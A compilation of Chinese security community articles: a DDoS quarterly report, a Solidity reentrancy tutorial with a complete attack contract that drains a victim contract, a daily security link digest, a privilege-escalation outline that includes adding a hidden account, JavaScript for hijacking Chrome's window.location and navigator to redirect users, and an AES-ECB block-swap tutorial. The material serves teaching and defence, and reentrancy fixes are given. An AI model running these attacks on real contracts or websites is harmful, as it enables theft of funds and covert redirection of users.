Q2最大的一起DDoS攻击最后被证明是一起误报事件。在6月末，互联网的某些区域经历了一起运营事故，最初被认为是DDoS攻击，但实际上是由于别的原因。事实证明，宾夕法尼亚州的一家[小型ISP](https://slate.com/technology/2019/06/verizon-dqe-outage-internet-cloudflare-reddit-aws.html)由于配置错误，将自己变成了Cloudflare部分流量的优先路由选择，导致接受Cloudflare服务的数千个网站无法访问，包括WhatsApp和Instagram。值得注意的是，这种互联网中断经常发生；在本案例中，问题的规模和Cloudflare的卷入造成了对潜在DDoS攻击的猜测。
同一期间，执法机构继续努力减少其负责区域内的DDoS攻击数量。例如，3月末19岁的英国人Liam Reece
Watts被捕，他被指控针对大曼彻斯特和柴郡警方官网发起两次攻击。
另一个值得注意的事情是，本季度的数据证实了我们之前关于DDoS攻击数量下降与恶意挖矿的增长之间存在关联的[假说](https://securelist.com/ddos-report-in-q3-2018/88617/)：NSFOCUS发布了2018年的DDoS报告，该报告明确指出加密货币价格的波动与DDoS攻击的数量存在[相关性](https://www.helpnetsecurity.com/2019/04/15/correlation-ddos-attacks-cryptomining/)。
## 季度趋势
根据卡巴斯基的数据，本季度的DDoS攻击比前一季度要少得多。卡巴斯基的防护方案阻止的DDoS攻击数量下降了44个百分点。传统上，犯罪分子在夏季的攻击活动往往处于季节性下降状态，这可以解释这一点。从另一个角度来看，本季度的DDoS攻击数量比2018年Q2实际上要增长了18个百分点，这证实了我们关于DDoS市场正在复苏的理论。自2019年初以来的增长趋势仍然存在。
应该指出的是，这种季节性的下降对技术更复杂的攻击（不论是攻击还是防御）几乎没有影响：与上一季度相比，其份额仅下跌了4个百分点，而与去年同期相比，这种“智能”攻击涨幅较大
– 32个百分点。此类攻击占所有攻击中的比例也在稳步增长：与上一季度相比增长了9个百分点，与2018年Q2相比增长了15个百分点。
DDoS的持续时间也在稳步增长，不论是相对还是绝对（被阻止的攻击中，持续时间最长的为75分钟，这也是持续时间最长的“智能”型攻击，这一数字相当令人惊叹，因为此类攻击的绝大多数都在早期阶段被过滤掉了）。在许多方面，这一整体的增长是由于技术复杂度较高的攻击的持续时间变长导致的，与上一季度，甚至上一年相比，其平均时间和最大时间都获得了增长。
_**2018 Q2**_ _ **、**_ _ **2019 Q1**_ _ **与**_ _ **Q2**_ _ **，标准型**_ _
**DDoS**_ _ **与智能型**_ _ **DDoS**_ _ **攻击数量与持续时间的对比**_
因此，传统上春季/夏季的季节性下降可以被归因于非智能型攻击的下降 – 毕竟这是业余DDoSers参加考试和去海滩玩的时间。
而在专业犯罪分子的世界里，工作才是最重要的：更加复杂、强力且危险的攻击活动的指标稳步增长。与去年同期相比，这一情况尤其明显。相对于Q1的增长也很明显，尽管不那么引人注目（正如我们在之前的季度报告中预测的那样）。最近的数据已经显示出稳定的趋势。对于我们而言，观察接下来三个月的变化非常有趣：我们会看到进一步的增长，还是市场趋于稳定呢？
## 统计分析
### 季度要点
* 本季度中国仍然是受到DDoS攻击数量最多的地区（63.80%），其次是美国（17.57%）和中国香港（4.61%）。
* 前三名几乎没有变动，但后面的排名中再次出现了通常DDoS水平不高的地区 – 这一次是荷兰（第四，1.54%）和中国台湾（第七，1.15%）。
* 攻击目标数量的排名与攻击数量的排名保持一致：中国（55.17%）、美国（22.22%）和中国香港（4.53%）再次登上领奖台。后面跟着的是中国台湾（1.61%）和爱尔兰（1%）。
* 本季度最波涛汹涌的月份是4月，峰值时间出现在该月；最平静的月份是紧随其后的5月。
* 统计数据显示，发生在周一的攻击数量最多（17.55%），而周日那天的攻击最少（10.45%）。
* Q2持续时间最长的攻击是509个小时，大幅超出了Q1，并且创下了新的历史记录。尽管如此，持续时间较长的攻击活动的总体份额在本季度有所下降。
* Q2垃圾流量中最大的组成部分是SYN泛洪（82.43%），其次是UDP（10.94%）。HTTP和TCP流量交换了位置，前者是3.26%，后者变成了2.77%。
* 与上一季度相比，Windows及Linux僵尸网络的份额基本没有变化。
* 在僵尸网络C&C服务器数量的地理分布中，美国占主导地位（44.14%），其次是荷兰（12.16%）和英国（9.46%）。有意思的是，本季度的Top10中没有俄罗斯。
### 地理分布
本季度DDoS攻击数量的地区排名Top3没有变化：中国还是第一名，尽管其份额下降了4个百分点，至63.80%。第二名美国（17.57%）和第三名中国香港（4.61%）的份额基本没变。
季度趋势的变化仍在继续，Top
10中再次出现了一些意外之外的来客。这一次是荷兰，排名第四，1.54%，以及中国台湾，排名第七，1.15%。荷兰曾在2016年进入过排行榜，因此也不算完全陌生，但中国台湾的指标增长是实打实的。
法国和沙特阿拉伯都离开了前十，加拿大从第四掉到了第八（尽管实际上来说它的份额增长到了0.93%）。越南（0.68%）排在榜尾，英国升了一名排在第六（1.20%），新加坡还是第五，但份额也有所增长（为1.25%）。
_**2019 Q1**_ _ **与**_ _ **Q2**_ _ **，**_ _ **DDoS**_ _ **攻击数量的地理分布**_
攻击目标数量的地理分布或多或少地对应于攻击数量的分布。前四名一模一样：中国（55.17%，下降了4个百分点）、美国（22.22%，增长了1个百分点）、中国香港（4.53%，轻微下降了0.2个百分点）以及荷兰（2.34%，上一季度未出现在Top10中）。
至于Top10的后几名中，中国台湾（1.61%）排在第六，爱尔兰（1%）第九。同时波兰、德国和沙特阿拉伯离开了榜单。法国（0.9%）虽然只下降了0.1个百分点，但从第七下降到第十名。
_**2019 Q1**_ _ **和**_ _ **Q2**_ _ **，**_ _ **DDoS**_ _ **攻击目标数量的地理分布**_
### 攻击动态
与Q1一样，Q2也相对平静，没有突然的波峰。最为活跃的时期在季度初，峰值出现在4月8日（538个攻击）。在接下来的一个月中，攻击数量缓慢下降，最平静的一天出现在5月9日（79个攻击）。6月初攻击者有所振作，但月底又出现了下滑。
_**2019 Q2**_ _ **，**_ _ **DDoS**_ _ **攻击数量的动态变化**_
从一周分布来看，最危险的一天是周一（17.55%），从周六手中摘得桂冠。这打破了最近几个季度的趋势 –
最大的攻击活动出现在一周的中间和周末。周日仍然是最安静的一天（10.45%），周五也相对平静（13.11%）。其它日子的攻击活动分布则较为平均。
_**2019 Q1**_ _ **和**_ _ **Q2**_ _ **，**_ _ **DDoS**_ _ **攻击的一周分布**_
### 持续时间及类型分布
Q2最长的一次攻击持续了509个小时（超过21天），攻击目标是中国联通。这是本系列报告有史以来记录的持续时间最长的一次攻击，约为上一季度最长攻击（289个小时）的1.7倍。
尽管创下了新纪录，本季度长持续时间的DDoS攻击份额大幅下降。只有持续时间在100到139个小时（0.11%）的攻击保持在同一水平，持续时间超过140个小时的攻击几乎减半（0.21%到0.13%）。下滑最大的是中等持续时间的攻击
– 50到99个小时之间 – 下滑了将近2/3，从上一季度的1.51%到本季度的0.54%。5-19个小时的攻击份额也轻微下降。
相应地，不超过4个小时的攻击份额增长了：从78.66%增长到82.69%。
_**2019 Q1**_ _ **和**_ _ **Q2**_ _ **，**_ _ **DDoS**_ _ **攻击的持续时间（小时）分布**_
就DDoS攻击的类型而言，SYN泛洪仍然是最受欢迎的攻击方式，尽管其份额下降了约1.5个百分点，至82.43%。第二名是UDP泛洪，相反的是它的份额增长了2个百分点，到10.94%。TCP请求攀升至第三名，份额为3.26%。HTTP流量则下降至2.77%。最后一名是ICMP泛洪，份额为0.59%。
_**2019 Q2**_ _ **，**_ _ **DDoS**_ _ **攻击的类型分布**_
与前一季度相比，僵尸网络家族的分布几乎保持一致，针对Linux系统的攻击仍然占据较大份额。尽管Xor活动再次消退，但这种下降对于Mirai变种的增长来说不值一提。
_**2019 Q1**_ _ **和**_ _ **Q2**_ _ **，**_ _ **Windows/Linux**_ _ **僵尸网络的比例**_
### 僵尸网络地理分布
就僵尸网络C＆C服务器的地理分布而言，美国（44.14％）仍处于主导地位。随后是荷兰（12.16％）和英国（9.46％），中国仅排名第五（4.95％），韩国（1.80％）排在倒数第二。此外，本季度的Top10中迎来了希腊（1.35％），但又送走了罗马尼亚和俄罗斯。
_**2019 Q2**_ _ **，僵尸网络**_ _ **C &C**_ _ **服务器的地理分布**_
## 结论
与前几个季度一样，DDoS攻击地理分布的Top10继续迎来送往。这或许不仅是由于攻击者继续寻求法律不完善、电价较低的新地区，而且是由于Top10的门槛越来越低所致。一般来说，Top3往往集中了大多数的攻击，导致其它地区的份额相对较少。这使得即使是小小的扰动也可能导致排名的剧烈变化。
诚然，这并不能完全解释传统的DDoS大国（例如韩国和俄罗斯，后者在僵尸网络C&C列表Top10中消失尤为罕见）消失的情况。如果这些变动与当地的执法力度有关，那我们可能会在列表中看到更多法律不完善的国家。
本季度DDoS高峰的缺乏显然是季节性的波动导致的；如果只是相对而言，夏季在传统上往往更平静。 | 社区文章 |
# 0x01 前言
智能合约的重入漏洞是一个非常经典的漏洞，其产生了非常严重的后果，诸如以太坊分叉等。本文将深入分析其产生的原因和预防机制。
# 0x02 预备知识
1. 合约地址与外部地址的异同
**外部账户 EOA**
* 由私钥控制
* 拥有 ether 余额
* 可以直接发送交易
* 不包含相关执行代码
* 可以与合约进行交互，使其执行其上存储的代码
**合约账户**
* 无法使用私钥控制
* 拥有 ether 余额
* 通过代码发送交易
* 含有执行代码
* 当被外部调用时，可以执行相应代码
* 拥有自己的独立存储状态，且可以调用其他合约
2. `fallback`函数
也被称为回调函数，在官方文档中时这么描述的
A contract can have exactly one unnamed function. This function cannot have arguments and cannot return anything. It is executed on a call to the contract if none of the other functions match the given function identifier (or if no data was supplied at all).
默认的`fallback`函数在合约实例中表现形式即为当且仅当只有一个不带参数没有返回值的匿名函数，可以被 **重写** 。
fallback函数被调用的时机：
* 当外部账户或其他合约向该合约地址发送 ether 时；
* 当外部账户或其他合约调用了该合约一个 **不存在** 的函数时；
3. call函数
对于一个合约来说，我们要实现对其的使用，也就是外部调用，就需要使用到call函数。这种情况下call 有两种使用方式
<address>.call(bytes) //Call消息传递
<address>.call(函数选择器, arg1, arg2, …) //Call函数调用
call函数的返回值为true或者false。当且仅当消息传递或函数调用成功时发挥true，其余情况如消息传递失败，函数调用失败，gas费率超出区块上限等时，返回false。
call的另外一种很重要的作用就是转账，其使用方式为
<address>.call.value(account).gas(limit_gas)()
并且call函数是transfer与send的底层函数
# 0x03 简单分析
来看一段代码
function withdraw(uint _amount) public {
if (amount <= balances[msg.sender]) {
msg.sender.call.value(_amount)();
balances[msg.sender] -= _amount;
}
}
该函数的功能是实现提款操作。用户输入提现的金额，函数对用户的余额进行判断，如果大于等于提现的金额，就使用call函数进行转账，在对用户余额进行相应的扣除。认真读下来似乎没有什么问题，但是在call函数的使用上存在明显的错误。下面将进行分析
如果msg.sender是一个外部地址的话，是正常的转账操作，不会出现什么问题。
但是如果msg.sender是一个合约地址的话，call未指定调用的函数，就会默认调用
调用fallback函数。此时用到fallback函数的另一个性质，可以被重写。
此时我们的withdraw函数的执行停止在
msg.sender.call.value(_amount)();这一行，也就是说我们在合约的上面的余额还没有被扣除，我们依旧能够绕过 if (amount
<= balances[msg.sender])的判断进行转账操作，我们可以这么写
contract Attack {
function() payable{
victim.withDraw(mag.value);
}
}
第一次我们使用withdraw函数时，受害合约会使用call给我们的合约转账，由于没有指定调用函数，会默认调用我们写的fallback函数中，我们在fallback函数中再次调用受害合约的withdraw函数，从而再次给我们转账，又会再一次触发我们的写fallback函数，如此往复陷入一个循环。
此循环的结束条件：
* 合约的余额不足以给我们的合约转账的时候
* 本次调用的gas费率达到上限--Gas Limit
那么对于存在这种问题的合约如何攻击呢？
# 0x04 复现
pragma solidity ^0.4.10;
contract Victim {
address owner;
mapping (address => uint256) balances;
event withdrawLog(address, uint256);
function Victim() { owner = msg.sender; }
function deposit() payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) {
require(balances[msg.sender] >= amount);
withdrawLog(msg.sender, amount);
msg.sender.call.value(amount)();
balances[msg.sender] -= amount;
}
function balanceOf() returns (uint256) {
return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) {
return balances[addr]; }
}
让我们把受害合约的功能简单完善一下
* owner 记录合约所有者
* balances 记录参与者的参与资金情况
* withdrawLog 记录每一次转账
* victim() 构造函数，对合约进行初始化，设定合约所有者
* deposit() 用于接受参与者的资金，并更新记录
* withdraw() 用于提款
* balanceOf() 查询本合约的余额
* balanceOf(address addr) 查询指定地址的余额
contract Attack {
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
function setVictim_adress(address target) ownerOnly {
victim = target;
}
function sendmoney() ownerOnly payable {
if (this.balance >= 1 ether) {
victim.call.value(1 ether)(bytes4(keccak256("deposit()")));
}
}
function withdraw() ownerOnly {
victim.call(bytes4(keccak256("withdraw(uint256)")), 1 ether);
}
function startAttack() ownerOnly {
sendmoney();
withdraw();
}
function stopAttack() ownerOnly {
selfdestruct(owner);
}
function () payable {
victim.call(bytes4(keccak256("withdraw(uint256)")), 1 ether);
}
}
完善我们的攻击合约：
* owner 记录合约所有者
* victim 记录受害合约地址
* ownerOnly 设置仅供合约中调用的关键词
* Attack() 构造函数，对合约进行初始化，设定合约所有者
* setVictim() 设定受害合约地址
* sendmoney() 调用victim的deposit()进行转账
* withdraw() 调用victim的withdraw()进行转账
* startAttack() 集合sendmoney()与withdraw()
* stopAttack() 使用自毁函数将攻击合约的资金转移到owner账户
* () 重写fallback函数
## 复现流程
使用[remix](https://remix.ethereum.org/)部署受害合约之后，使用账户一打入5eth，可以从以太坊浏览器上面[查询](https://rinkeby.etherscan.io/address/0x7005f99d4a6aFF6c8A6f3aB36d78BF4cF2Adb106#internaltx)到
此时我们切换到我们的账户二，部署攻击合约，同时调用setVictim实例化一下
此时便可以调用startAttack进行攻击，在调用的时候需要多一些gas，避免失败
攻击成功后，可以查询到所有攻击流程
最后调用stopattack转钱跑路
复现的时候注意把握合约的余额与调用一次withdraw提现余额之间的关系，建议在1-5倍之间，避免发生out of gas 从而导致攻击失败
# 0x05 修复建议
1. 指定gas费率，一次转账仅需消耗21000gas，可以这么做
msg.sender.call.value(amount).gas(23000)();
//因为可能存在其他的计算，如果只制定21000，会有较高的机率发生失败，因此需要预留一部分gas
1. 使用其他转账函数
2. **send** \
<address>.send(uint256 amount) returns (bool)
</address>
3. 向address发送amount数量的Wei（注意单位），如果执行失败返回false。发送的同时传输2300gas，gas数量不可调整
4. **transfer** \
<address>.transfer(uint256 amount)
</address>
5. 向address发送amount数量的Wei（注意单位），如果执行失败则throw。发送的同时传输2300gas，gas数量不可调整
msg.sender.send(amount);
mag.sender.transfer(amount);
1. 采用checks-effects-interactions模式
把对余额的操作放在转账之前
balances[msg.sender] -= amount;
msg.sender.call.value(amount)();
这样，每次攻击者想要提现都必须先执行余额变动操作，就无法实现重入了
1. 使用互斥锁
该攻击的关键在于合约的withdraw函数无法完整的执行，停停留在call层面，如果我们能让其的执行变成一个整体，就像mysql的事务一样，就可以有效防止重入。
require(!locked, "Reentrant call detected!");
locked = true;
...
locked = false;
把我们需要执行的代码插入其中，就能保证每次执行是一次完整的。
1. 使用OpenZeppelin官方的[ReentrancyGuard合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)
OpenZeppelin官方在ReentrancyGuard合约中定义了nonReentrant函数修饰词，可以在关键函数中使用，防止重入
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
与互斥锁的思想差不多，但是其官方将其封装成函数修饰词使用
1. 采用pull payment模式[PullPayment合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/PullPayment.sol)
其核心的思想是不直接将资金发送给接受者，而是每一笔交易去新建一个合约，由接受者自己去提取。
# 0x06 总结
合约在开发过程中，使用了危险的函数，并且使用不安全的交互模式。两者叠加在一起造就了以太坊非常经典的重入漏洞。其中最有代表性的攻击 The Dao
分析报告：[Analysis of the DAO
exploit](https://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) | 社区文章 |
# 【知识】6月27日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： ffmpeg的一个信息泄漏漏洞、项目、实例和paper、基于Graylog日志安全审计实践、Python安全 – 从SSRF到命令执行惨案
**、** CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造、基于误植域名的水坑攻击实践、通过非数字和字符的方式Bypass
WAF(PHP) **、**** **IBM DB2 命令行进程缓冲区溢出 、通过Sysinternals Sysmon和 Powershell
logs检测攻击行为、恶意虚拟机管理程序的现状以及如何去识别他们**
**
**
**资讯类：**
* * *
微软恶意程式防护引擎修复另外一个RCE漏洞
<https://threatpost.com/another-rce-vulnerability-patched-in-microsoft-malware-protection-engine/126536/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
ffmpeg的一个信息泄漏漏洞、项目、实例和paper
<https://hackerone.com/reports/243470>
<https://github.com/neex/ffmpeg-avi-m3u-xbin/>
<https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit>
基于Graylog日志安全审计实践
<http://bobao.360.cn/learning/detail/4025.html>
Python安全 – 从SSRF到命令执行惨案
<https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html>
Java Unserialize Vul Payload生成器（涵盖了之前没有被公开的gadget）
<https://threathunter.org/topic/5950e0df4ca62e893ec8c0c4>
通过样本分析CVE-2010-3333
<https://xianzhi.aliyun.com/forum/read/1785.html>
基于误植域名的水坑攻击实践
<http://bobao.360.cn/learning/detail/4026.html>
从Android内核镜像中静态提取符号表
<http://ne2der.com/2017/get-symbol-from-kernel-img/>
CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造
[https://mp.weixin.qq.com/s?src=3×tamp=1498526078&ver=1&signature=mV84SMCvF0EvZTPVNDWofzOR5jyZ1BFzQB0jBE4GSnI2L2UCL5Bg5kAwRbNfSPh*JVCZ*MSGYDqP5cVawcAN4vgYA-*x*DO2rcCASWAaB0RT8zGf1brlzffZK3HRatQ4j6c8plbJ–6nOox8YrbIu*znH6E1dmSJEhjRpeR5rKE=](https://mp.weixin.qq.com/s?src=3×tamp=1498526078&ver=1&signature=mV84SMCvF0EvZTPVNDWofzOR5jyZ1BFzQB0jBE4GSnI2L2UCL5Bg5kAwRbNfSPh*JVCZ*MSGYDqP5cVawcAN4vgYA-*x*DO2rcCASWAaB0RT8zGf1brlzffZK3HRatQ4j6c8plbJ
--6nOox8YrbIu*znH6E1dmSJEhjRpeR5rKE=)
Oauth协议介绍与安全隐患
<https://mp.weixin.qq.com/s/bK6RSpX65XlHmbMG1N0myg>
MAMP集成环境套件中的SQLiteManager漏洞
<https://www.itsec.nl/en/2017/06/26/drive-by-remote-code-execution-by-mamp/>
恶意虚拟机管理程序的现状以及如何去识别他们
<http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_051_Utin_Hypervisor.pdf>
OpenVPN fuzzers发布（前段时间作者发了一份关于多个openvpn的漏洞，就是用的这个）
<https://github.com/guidovranken/openvpn/tree/fuzzing>
思科Prime Collaboration Provisioning产品无需认证远程执行代码漏洞
<http://www.zerodayinitiative.com/advisories/ZDI-17-445/>
通过非数字和字符的方式Bypass WAF(PHP)
<https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/>
简单$ _COOKIE后门
<http://labs.sucuri.net/?note=2017-03-09>
<http://labs.sucuri.net/?note=2017-05-30>
CVE-2017-9948：Microsoft Skype 7.2 / 7.35 / 7.36缓冲区溢出
<https://securityonline.info/cve-2017-9948-microsoft-skype-7-2-7-35-7-36-buffer-overflow/>
Metasploit RSS feed插件（获取shell时获取推送通知）
<https://github.com/rapid7/metasploit-framework/pull/8612>
GoogleCTF 2017: Inst Prof 152 (final value)
<https://binarystud.io/googlectf-2017-inst-prof-152-final-value.html>
GoogleCTF 2017: Food – Android Reverse Engineering
<http://pwning.re/2017/06/25/google-ctf-food/>
XSS'OR：前端黑客工具
<http://xssor.io/>
<https://github.com/evilcos/xssor2>
CrackMapExec：渗透后期利用工具
<https://github.com/byt3bl33d3r/CrackMapExec>
ANDROID O和DEX 38：DALVIK动态调用操作码
<https://www.pnfsoftware.com/blog/android-o-and-dex-version-38-new-dalvik-opcodes-to-support-dynamic-invocation/>
IBM DB2 命令行进程缓冲区溢出
<http://www.defensecode.com/advisories/IBM_DB2_Command_Line_Processor_Buffer_Overflow.pdf>
通过Sysinternals Sysmon和 Powershell logs检测攻击行为
<https://securitylogsdotorg.files.wordpress.com/2017/06/bsides-athens-sysmon-final.pdf> | 社区文章 |
**0x01 提权是什么？**
提权，是黑客的专业名词，一般用于网站入侵和系统入侵。顾名思义，提权就是提高自己在服务器中的权限。
**0x02 提权的基本思路**
1. 拿到低权限shell（如webshell/服务器低权限shell）
2. 搜索主机信息
3. 寻找exp
4. 尝试提权到高级别权限用户
5. 添加隐藏账户
**0x03 环境准备**
靶机：ubuntu-3.13.0-24-generic
工具：kali
**0x04 提权过程**
1. 使用低权限账户登录
2. 将提取检测脚本上传到服务器/tmp目录下
3. 在服务器上运行检测脚本，可在输出结果中找到相关漏洞信息站点及攻击载荷
4. 访问漏洞信息网站，查看漏洞信息，下载利用脚本
5. 或者使用Kali本地searchsploit，寻找对应编号的exp,尝试提权
6. 选择一个payload上传到服务器
7. 在服务器上执行提权代码，发现编译失败，提示版本错误
8. 检测靶机内核版本
9. 执行脚本，寻找对应内核版本的exp,
10. 访问网址，获取exp
11. 将下载得到的31346.c上传到靶机服务器
12. 运行代码，发现提权失败，
13. 更换exp,再次尝试
14. 运行提权代码
15. 可以看到，当前已经由tq普通用户变到root，成功提权
**0x05 简单总结**
提权的过程发生了很多问题，文章中的过程只是展示了相对顺利的提权过程，提取失败很正常，要有心理准备，出现错误时，要看报错信息，以此来解决问题，不断尝试。这篇文章只是为了向和我一样的菜鸟介绍一下什么是提权，以及提权的一般流程，感受一下提权，希望有所帮助。 | 社区文章 |
# Chrome出了个小bug：论如何在Chrome下劫持原生只读对象
## **概述**
众所周知，虽然JavaScript是个很灵活的语言，浏览器里很多原生的方法都可以随意覆盖或者重写，比如alert。但是为了保证网页的安全性和网页制作者的一定控制权，有些浏览器对象是无法更改的，比如“window.location”对象，或者对它们的更改是无效的，比如”window.navigator”对象。然而，最近我发现Chrome出现了一个小“bug”，在Chrome
50+ 版本中，通过一些技巧可以轻易地重写这些对象，从而让恶意代码可以控制网页编写者的跳转行为。
## **实现window.location**
location对象是个很特殊的浏览器内置对象，一般情况下是无法修改的，为了寻找是否有一种方法可以做到这件事，我做了一些尝试并得出了相应的结论：
**1.无法修改location对象，直接修改会导致页面跳转：**
window.location = {};
**2.无法通过Object.defineProperty来修改属性的configurable和writable，因此无法使用Object.watch及各种polyfill。**
Object.defineProperty(location,"href",{"configurable": true});
**3.可以用Proxy对象代理location，但因为原因1，无法用locationProxy重写location对象。**
var locationProxy = new Proxy(location, {
set: function (target, key, value, receiver) {
console.log(target, key, value, receiver);
}});
**4.可以freeze，使得对location.href赋值失效。然而这会影响到正常流程，因为光这样用户的代码逻辑就无法走通，劫持就失去了意义。**
Object.freeze(window.location)
Object.freeze(window)
看上去似乎没有任何办法能够做到了？然而山重水复疑无路，柳暗花明又一村。在尝试中我发现Chrome浏览器有个bug：在全局域里使用和location同名的函数声明，在函数自动提升后可以覆盖掉浏览器本身的window.location对象，没错，就是这样一行简单的代码：
function location(){}
这样就可以起到重写并hook掉location的作用。而这个方法也只有在Chrome下有用，其它浏览器（如Firefox或者Edge）会提示
TypeError: can't redefine non-configurable property location
那么既然拿到了修改的方法，应该如何合理地劫持它呢？ 首先需要备份一下location对象本身，但由于我们的关键函数 **function
location(){}**
本身是需要在全局域中执行，并且会自动提升，因此无法直接存储location对象。但是很多人都忽略的一点window.document对象中还有一份location对象，而这个对象，在目前浏览器中绝大多数情况下都和window.location没有区别，甚至就是对window.location的一份拷贝或者指针。于是我们可以使用window.document.location先备份一下location对象，然后修改之。
var _location = window.document.location;
之后需要做的事情就是在劫持某些操作的时候，又保证正常的操作不会出问题，否则很容易被发现。我们可以使用ES5中的一些魔法方法，比如`__proto__和__defineSetter__`来实现我们需要的效果，比如我们对于location.href
的赋值操作，拦截并转向freebuf：
location.__proto__ = _location;
location.__defineSetter__('href', function(url) {
_location.href = "http://www.freebuf.com";
});
location.__defineGetter__('href', function(url) {
return _location.href;
});
或者使用ES6的Proxy代理，也同样可以实现相同功能：
window.location = new Proxy(_location, {
set: function(target, prop, value, receiver){
if (prop !== 'href'){
Reflect.set(target, prop, value, receiver);
}else{
target.href = "http://www.freebuf.com";
}
}
})
最后，我们再将location对象设置为只读，防止轻易被修改
Object.defineProperty(window,"location",{"writable": false});
这样就实现了一个暗藏玄机的window.location，偷偷将页面里所有通过location.href做的跳转改到了目标网站（freebuf）。
## **实现window.navigator**
就像我开头说的一样，不止是location，navigator对象我们也可以通过这种方法偷偷篡改，让网站得到的浏览器信息（如userAgent）失真，要注意的重点就是如何找到一种方法保存原来的navigator对象，这里我们使用新建一个iframe来实现：
var _navigator;
function navigator(){}
var frame = document.createElement('iframe');
frame.width = frame.height = 0;
frame.style.display = "none";
document.lastChild.appendChild(frame);
_navigator = window.frames[0].window.navigator;
window.navigator = new Proxy(_navigator, {
set: function(target, prop, value, receiver){
return Reflect.set(target, prop, value, receiver);
},
get: function(target, prop, receiver){
if (prop === 'userAgent'){
return "this is a faked userAgent";
}
return target[prop];
}
})
这段代码实现了让用户访问window.navigator.userAgemt时返回了一个假UA串。
## **总结**
这个bug在Chrome 50至最新版内核中均存在，包括但不限于Chrome和各种使用Chromium内核的浏览器（Opera,
UC）等。虽然由于局限性，独立存在的意义不大，但是在一些恶意脚本里还是存在一些利用的价值。
####
作者：负羽@阿里安全，更多安全类文章，请访问[阿里聚安全博客](https://jaq.alibaba.com/community/index.htm?spm=a313e.7916648.0.0.X5rRAp) | 社区文章 |
# AES加密的安全问题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## aes加密简介
AES算法全称Advanced Encryption
Standard,是DES算法的替代者，旨在取代DES成为广泛使用的标准，于2001年11月26日发布于FIPS PUB
197，并在2002年5月26日成为有效的标准。2006年，高级加密标准已然成为对称密钥加密中最流行的算法之一。
AES是典型的对称加密算法，对称加密不同于md5
sha的哈希摘要算法，对称加密是可逆的，通常是明文+密钥，再利用算法来加密成密文，如果要还原也很简单，只要根据密钥+密文+生成算法的逆运算，即可解出，对称加密特点为可逆，并且加密解密都是使用同一个密钥，而非对称加密则是公钥私钥加解密模式这里不做讨论。
## aes加密五种模式
aes加密的方式有五种工作体制。
1.电码本模式（Electronic Codebook Book (ECB)）
这种模式主要是将明文划分为几个明文段，分块加密，但是加密密钥是相同的。
2.密码分组链接模式（Cipher Block Chaining (CBC)）
这种模式是先将明文切分成若干小段，然后每一小段与初始块或者上一段的密文段进行异或运算后，再与密钥进行加密。
3.计算器模式（Counter (CTR)）
4.密码反馈模式（Cipher FeedBack (CFB)）
5.输出反馈模式（Output FeedBack (OFB)）
其中分组如，aes-128-ecb即为16字节为一组，16字节即为128位。
其他三种模式较为复杂，本文仅讨论前两种加密的安全性。
## aes-ecb加密
aes-ecb加密是将一段明文，按照固定长度分组，然后对每一个分组，按照算法使用固定的密钥进行加密。假设123456加密。那么123为一组加密，456为一组加密，然后两段明文加密后的密文拼在一起，就算完整的密文。
注意：这里每一组的加密都是使用相同的密钥，相同的算法，所以在这种机制下，很可能出现安全问题。
比如：在身份认证中，查询用户是否是管理员还是普通用户，如果is_root=1则为管理员，如果不为1则为普通用户，如果采用aes-ecb加密，对原文进行分组加密。
明文：user_id:1.000000 is_root:0（其中is_root来判断是否为管理员。） 然后用一段密钥加算法进行加密。
这种提交的加密数据是在cookie中提交，明文不可控，但是密文是可控的，但由于是进行分组进行，所以我们可以推算出每一分组明文对应的密文，假设明文八个一组来进行加密，分组后变为
（提示：仅仅是假设理想情况八位，实际并不是）
第一组：is_user
第二组：1.000000
第三组: is_root:
第四组： 0（不够的八位自动填充）
其中user_id 通常情况下我们前端可以修改，进行修改为1.000000，此时原文被加密之后为四组 每组为八个数字的密文
假设加密后密文为
c4ca4238a0b923820dcc509a6f75849b 在cookie中被提交，将密文分为四组
c4ca4238
a0b92382
0dcc509a
6f75849b
此时密文我们是可控的，如果正常提交，服务器解密之后为user_id:1.000000
is_root:0，很显然我们不是管理员，但是如果将第二组密文和第四组密文替换呢，那么user_id就是0，is_root就是1.000000。服务器就解析为user_id:0xxxxxxx(xx为填充字符)
is_root:1.000000，显然我们不需要知道密钥，同样可以进行绕过。
还有一则在转账中，如果采用aes-128-ecb加密，在cookie中使用ecb分组加密，比如
付款人账户：
XXX //假设密文abc
收款人账户：
XXX //假设密文efg
试想一下，一旦这个分组是刚好分为四组，我们仅仅将abc与efg交换，那不就造成了支付收款反转，几乎不需要什么技术就可以造成严重的攻击。
### ctf-案例
接下来以真实题目来进行详解。
ctf
address：[https://mixer-f3834380.challenges.bsidessf.net/（国外的一道ctf）](https://mixer-f3834380.challenges.bsidessf.net/%EF%BC%88%E5%9B%BD%E5%A4%96%E7%9A%84%E4%B8%80%E9%81%93ctf%EF%BC%89)
首先尝试输入admin admin 登陆。
返回内容重点为红色框内的东西，需要使得第三个参数 is_admin=1即可获得flag，但是session
cookie并不是这个题关注的点，接下来就是抓包分析参数。修改参数。
